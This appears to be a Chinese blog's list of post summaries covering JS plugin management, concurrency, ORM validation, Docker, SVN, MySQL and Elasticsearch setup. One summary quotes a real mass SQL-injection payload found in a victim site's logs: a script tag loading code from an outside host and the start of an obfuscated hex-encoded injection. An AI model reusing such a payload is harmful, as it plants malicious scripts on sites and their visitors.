摘要:
testjs插件类库组织与管理在开发一个较大规模的网站,js插件类库应用的是相当多。那么自然在一个页面里就存在不少script和script相关的link标记,这样js组织与管理自然成了一大问题。先举个例子,比如jquery插件中的calendar在一个页面中就得有如下代码<style type="text/css">@import ""script/calendar/jquery.datepick.css";</style> <script type="text/javascript" src 阅读全文
摘要:
这几天朋友的网站天天被搞破坏的人恶意注入,也许是程序没写好的原因,数据库每个字段加了一段script(<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>,而这个script地址时不时的有变化)。用一些搜索引擎搜索下:/css/c.js></Script>,发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式:;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C00610072006500200040005400200 阅读全文
摘要:
Web2.0带给我们更好的用户体验和更炫更酷的效果,javascript,flash, Silverlight都是跃跃欲试。目前应用最多的还是javascript,所以你会经常看到很多web2.0网站有n多的js和css,这时管理这些文件和如此多的代码怎么提性能提升的问题也来了。以下就来讲讲我目前想到的一些问题吧。 1.js和css引用时如何做到让请求进行并发下载。 我们通过firebug,就会发... 阅读全文
摘要:
这几天忙着解决并发性问题,一直也没好的解决方案,查过的一些资料也基本上就是数据库加琐,可我遇到这种情况估计用数据库加琐是很难解决的,下面大概描述这种情况: 当A,B用户(都具有该问这个模块权限的情况下)进入同一个管理列表时,数据都是相同的(因为当时可能还没有被修改),当时A用户就发现某条记录某项还没填写完整点击进去修改,此时B恰好也同时进入了该页面,也有想修改的意思。A用户把其中某项数据填写完整后提交了。而B看到这条记录,其实A用户已经填写完整了,但是他还不知道(看到的还是原先的信息),以为这下记录可能还存在问题,所以他在该记录信息的备注项,填写了“该信息未填写完整”,然后也提交上去。这时这. 阅读全文
摘要:
前篇文章主要谈了持久化是不是需要的问题,其实一开始我的想法还是觉得是需要持久层的,就像有人说的持久化可以使在编译时知道你的类型和赋值正与否,而使用那些容器确不能,此时也体现出强类型的好处。如果用类似Hashtable这些的容器会使编译通过,结果可能会在程序运行的时候出错。使用此等容器有好有坏,就如鱼和熊掌不能兼得一般,很难权衡(此等问题,还得再向园子大牛级人物讨教一下)。因为之前我也说过了,用实体层的话,可能会运用大量的反射过程,代价太高。在框架没设计验证时,我一开始就采用的是ORM那种思想,到框架加入验证想法,我的想法随之也改变了!上篇文章先说到这里,先谈谈我的框架中对验证层的相关设计吧!这 阅读全文
docker 启动报错 library initialization failed - unable to allocate file descriptor table - out of memory
摘要:
docker,library initialization failed 阅读全文
摘要:
ip可以用host.docker.internal来代替,这时的localhost其实是容器本身,不能使用 阅读全文
摘要:
svn: E230001: Server SSL certificate verification failed certificate issued for a different hostname 意思是服务器的SSL证书验证失败,证书为不同主机名颁发。 解决方法: 通过命令在本机接受证书即可, 阅读全文
摘要:
注解说明 验证注解 验证的数据类型 说明 @AssertFalse Boolean,boolean 验证注解的元素值是false @AssertTrue Boolean,boolean 验证注解的元素值是true @NotNull 任意类型 验证注解的元素值不是null @Null 任意类型 验证注 阅读全文
摘要:
start ""netcorner.exe" 这样调用就OK啦。如: start "" "D:\netcorner.exe" 阅读全文
摘要:
比如说有段sql需要取出一张表的前10行,同时又需要取出符合条件的总数。这在某些翻页操作中很常见 SELECT SQL_CALC_FOUND_ROWS * FROM tbl_name WHERE id > 100 LIMIT 10; 在上一查询之后,你只需要用FOUND_ROWS()就能获得查询总数 阅读全文
摘要:
页面中有一个input元素,当第二次触发onchange事件时,事件不响应 <input id="file" type="file" onchange="onChange" /> 解决方案:在onchange的响应事件中将元素的value值置为空; onchange响应事件是根据value值的改变来 阅读全文
摘要:
wx.request({ url: 'myurl', method:'POST', dataType:'json', data: { mydata:mydata }, success(res) { console.log(res.data) } }) 改为 wx.request({ url: 'my 阅读全文
摘要:
1,拉取镜像 docker pull kibana:7.1.1 2,启动容器 docker run --name kibana --link es:es -p 5601:5601 -d kibana:7.1.1 注: docker exec -it kibana /bin/bash cd /conf 阅读全文
摘要:
1,拉取镜像 docker pull elasticsearch:7.1.1 2,设定权限 权限问题,需要把/home/es/data目录设定权限,宿主主机设置,否则 es 启动不起来 chmod 777 /home/es/data 3,启动容器 单节点: docker run --name es 阅读全文